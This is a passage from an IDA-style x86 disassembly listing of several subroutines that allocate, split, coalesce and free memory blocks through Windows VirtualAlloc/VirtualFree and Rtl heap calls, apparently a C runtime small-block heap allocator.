[ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41CEB0 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41CEB0: ; CODE XREF: sub_41CBB0+22Aj ; sub_41CBB0:loc_41CE43j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_41CECE: ; CODE XREF: sub_41CBB0+218j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_41CED4: ; CODE XREF: sub_41CBB0+1C8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_41CEEA mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_41CFFA loc_41CEEA: ; CODE XREF: sub_41CBB0+32Cj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41CFFA cmp [ebp+var_28], 20h jnb short loc_41CF93 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41CF71 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CF71: ; CODE XREF: sub_41CBB0+3A9j mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_41CFFA ; --------------------------------------------------------------------------- loc_41CF93: ; CODE XREF: sub_41CBB0+386j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41CFD1 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41CFD1: ; CODE XREF: sub_41CBB0+404j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_41CFFA: ; CODE XREF: sub_41CBB0+334j ; sub_41CBB0+37Cj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_41D188 cmp dword_4DE660, 0 jz loc_41D177 mov eax, dword_4DE654 shl eax, 0Fh mov ecx, dword_4DE660 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call dword_4E0484 ; VirtualFree mov edx, 80000000h mov ecx, dword_4DE654 shr edx, cl mov eax, dword_4DE660 mov ecx, [eax+8] or ecx, edx mov edx, dword_4DE660 mov [edx+8], ecx mov eax, dword_4DE660 mov ecx, [eax+10h] mov edx, dword_4DE654 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4DE660 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4DE660 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4DE660 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41D0D5 mov edx, dword_4DE660 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4DE660 mov [ecx+4], eax loc_41D0D5: ; CODE XREF: sub_41CBB0+50Fj mov edx, dword_4DE660 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_41D177 push 8000h push 0 mov eax, dword_4DE660 mov ecx, [eax+0Ch] push ecx call dword_4E0484 ; VirtualFree mov edx, dword_4DE660 mov eax, [edx+10h] push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E0480 ; RtlFreeHeap mov edx, dword_4DE664 imul edx, 14h mov eax, dword_4DE668 add eax, edx mov ecx, dword_4DE660 add ecx, 14h sub eax, ecx push eax mov edx, dword_4DE660 add edx, 14h push edx mov eax, dword_4DE660 push eax call sub_419A90 add esp, 0Ch mov ecx, dword_4DE664 sub ecx, 1 mov dword_4DE664, ecx mov edx, [ebp+arg_0] cmp edx, dword_4DE660 jbe short loc_41D16B mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_41D16B: ; CODE XREF: sub_41CBB0+5B0j mov ecx, dword_4DE668 mov dword_4DE658, ecx loc_41D177: ; CODE XREF: sub_41CBB0+47Ej ; sub_41CBB0+52Fj mov edx, [ebp+arg_0] mov dword_4DE660, edx mov eax, [ebp+var_4] mov dword_4DE654, eax loc_41D188: ; CODE XREF: sub_41CBB0+58j ; sub_41CBB0+471j mov esp, ebp pop ebp retn sub_41CBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D190 proc near ; CODE XREF: sub_41BEC0+4Cp ; sub_41C230+D4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, dword_4DE664 imul eax, 14h mov ecx, dword_4DE668 add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_41D1DC or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_41D1F1 ; --------------------------------------------------------------------------- loc_41D1DC: ; CODE XREF: sub_41D190+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_41D1F1: ; CODE XREF: sub_41D190+4Aj mov ecx, dword_4DE658 mov [ebp+var_18], ecx loc_41D1FA: ; CODE XREF: sub_41D190+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41D226 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_41D21B jmp short loc_41D226 ; --------------------------------------------------------------------------- loc_41D21B: ; CODE XREF: sub_41D190+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41D1FA ; --------------------------------------------------------------------------- loc_41D226: ; CODE XREF: sub_41D190+70j ; sub_41D190+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_41D30D mov eax, dword_4DE668 mov [ebp+var_18], eax loc_41D23A: ; CODE XREF: sub_41D190+D7j mov ecx, [ebp+var_18] cmp ecx, dword_4DE658 jnb short loc_41D269 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_41D25E jmp short loc_41D269 ; --------------------------------------------------------------------------- loc_41D25E: ; CODE XREF: sub_41D190+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41D23A ; --------------------------------------------------------------------------- loc_41D269: ; CODE XREF: sub_41D190+B3j ; sub_41D190+CCj mov ecx, [ebp+var_18] cmp ecx, dword_4DE658 jnz loc_41D30D loc_41D278: ; CODE XREF: sub_41D190+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41D296 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_41D28B jmp short loc_41D296 ; --------------------------------------------------------------------------- loc_41D28B: ; CODE XREF: sub_41D190+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41D278 ; --------------------------------------------------------------------------- loc_41D296: ; CODE XREF: sub_41D190+EEj ; sub_41D190+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_41D2E7 mov eax, dword_4DE668 mov [ebp+var_18], eax loc_41D2A6: ; CODE XREF: sub_41D190+135j mov ecx, [ebp+var_18] cmp ecx, dword_4DE658 jnb short loc_41D2C7 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_41D2BC jmp short loc_41D2C7 ; --------------------------------------------------------------------------- loc_41D2BC: ; CODE XREF: sub_41D190+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41D2A6 ; --------------------------------------------------------------------------- loc_41D2C7: ; CODE XREF: sub_41D190+11Fj ; sub_41D190+12Aj mov ecx, [ebp+var_18] cmp ecx, dword_4DE658 jnz short loc_41D2E7 call sub_41D6D0 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_41D2E7 xor eax, eax jmp loc_41D6C1 ; --------------------------------------------------------------------------- loc_41D2E7: ; CODE XREF: sub_41D190+10Cj ; sub_41D190+140j ... mov edx, [ebp+var_18] push edx call sub_41D7E0 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_41D30D xor eax, eax jmp loc_41D6C1 ; --------------------------------------------------------------------------- loc_41D30D: ; CODE XREF: sub_41D190+9Cj ; sub_41D190+E2j ... mov edx, [ebp+var_18] mov dword_4DE658, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_41D350 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_41D385 loc_41D350: ; CODE XREF: sub_41D190+19Bj mov [ebp+var_30], 0 loc_41D357: ; CODE XREF: sub_41D190+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_41D385 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_41D357 ; --------------------------------------------------------------------------- loc_41D385: ; CODE XREF: sub_41D190+1BEj ; sub_41D190+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_41D3D2 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_41D3D2: ; CODE XREF: sub_41D190+226j ; sub_41D190+259j cmp [ebp+var_1C], 0 jl short loc_41D3EB mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_41D3D2 ; --------------------------------------------------------------------------- loc_41D3EB: ; CODE XREF: sub_41D190+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_41D41C mov [ebp+var_14], 3Fh loc_41D41C: ; CODE XREF: sub_41D190+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_41D640 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41D50A cmp [ebp+var_20], 20h jge short loc_41D49F mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41D49D mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41D49D: ; CODE XREF: sub_41D190+2F3j jmp short loc_41D50A ; --------------------------------------------------------------------------- loc_41D49F: ; CODE XREF: sub_41D190+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41D50A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_41D50A: ; CODE XREF: sub_41D190+2A4j ; sub_41D190:loc_41D49Dj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_41D640 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41D640 cmp [ebp+var_14], 20h jge short loc_41D5DA mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41D5B8 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41D5B8: ; CODE XREF: sub_41D190+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_41D640 ; --------------------------------------------------------------------------- loc_41D5DA: ; CODE XREF: sub_41D190+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41D617 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_41D617: ; CODE XREF: sub_41D190+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_41D640: ; CODE XREF: sub_41D190+292j ; sub_41D190+39Cj ... cmp [ebp+var_8], 0 jz short loc_41D65A mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_41D65A: ; CODE XREF: sub_41D190+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_41D6B3 mov eax, [ebp+var_18] cmp eax, dword_4DE660 jnz short loc_41D6B3 mov ecx, [ebp+var_30] cmp ecx, dword_4DE654 jnz short loc_41D6B3 mov dword_4DE660, 0 loc_41D6B3: ; CODE XREF: sub_41D190+501j ; sub_41D190+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_41D6C1: ; CODE XREF: sub_41D190+152j ; sub_41D190+178j pop esi mov esp, ebp pop ebp retn sub_41D190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6D0 proc near ; CODE XREF: sub_41D190+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DE664 cmp eax, dword_4DE650 jnz short loc_41D72B mov ecx, dword_4DE650 add ecx, 10h imul ecx, 14h push ecx mov edx, dword_4DE668 push edx push 0 mov eax, dword_4DE648 push eax call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41D713 xor eax, eax jmp loc_41D7DB ; --------------------------------------------------------------------------- loc_41D713: ; CODE XREF: sub_41D6D0+3Aj mov ecx, [ebp+var_4] mov dword_4DE668, ecx mov edx, dword_4DE650 add edx, 10h mov dword_4DE650, edx loc_41D72B: ; CODE XREF: sub_41D6D0+Fj mov eax, dword_4DE664 imul eax, 14h mov ecx, dword_4DE668 add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, dword_4DE648 push edx call dword_4E0478 ; RtlAllocateHeap mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_41D765 xor eax, eax jmp short loc_41D7DB ; --------------------------------------------------------------------------- loc_41D765: ; CODE XREF: sub_41D6D0+8Fj push 4 push 2000h push 100000h push 0 call dword_4E0488 ; VirtualAlloc mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_41D7A2 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0480 ; RtlFreeHeap xor eax, eax jmp short loc_41D7DB ; --------------------------------------------------------------------------- loc_41D7A2: ; CODE XREF: sub_41D6D0+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, dword_4DE664 add eax, 1 mov dword_4DE664, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_41D7DB: ; CODE XREF: sub_41D6D0+3Ej ; sub_41D6D0+93j ... mov esp, ebp pop ebp retn sub_41D6D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7E0 proc near ; CODE XREF: sub_41D190+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_41D7FF: ; CODE XREF: sub_41D7E0+36j cmp [ebp+var_8], 0 jl short loc_41D818 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_41D7FF ; --------------------------------------------------------------------------- loc_41D818: ; CODE XREF: sub_41D7E0+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_41D840 ; --------------------------------------------------------------------------- loc_41D837: ; CODE XREF: sub_41D7E0+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_41D840: ; CODE XREF: sub_41D7E0+55j cmp [ebp+var_20], 3Fh jge short loc_41D866 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_41D837 ; --------------------------------------------------------------------------- loc_41D866: ; CODE XREF: sub_41D7E0+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx call dword_4E0488 ; VirtualAlloc test eax, eax jnz short loc_41D899 or eax, 0FFFFFFFFh jmp loc_41D9CA ; --------------------------------------------------------------------------- loc_41D899: ; CODE XREF: sub_41D7E0+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_41D8B8 ; --------------------------------------------------------------------------- loc_41D8AC: ; CODE XREF: sub_41D7E0+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_41D8B8: ; CODE XREF: sub_41D7E0+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_41D91D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_41D8AC ; --------------------------------------------------------------------------- loc_41D91D: ; CODE XREF: sub_41D7E0+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_41D9AD mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_41D9AD: ; CODE XREF: sub_41D7E0+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_41D9CA: ; CODE XREF: sub_41D7E0+B4j mov esp, ebp pop ebp retn sub_41D7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9D0 proc near ; CODE XREF: sub_41C020+81p ; sub_41C230+BCp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_41DCF6 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_41DA5B mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_41DA62 loc_41DA5B: ; CODE XREF: sub_41D9D0+7Ej xor eax, eax jmp loc_41DFB7 ; --------------------------------------------------------------------------- loc_41DA62: ; CODE XREF: sub_41D9D0+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41DA7B mov [ebp+var_20], 3Fh loc_41DA7B: ; CODE XREF: sub_41D9D0+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DB5D cmp [ebp+var_20], 20h jnb short loc_41DAF2 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, 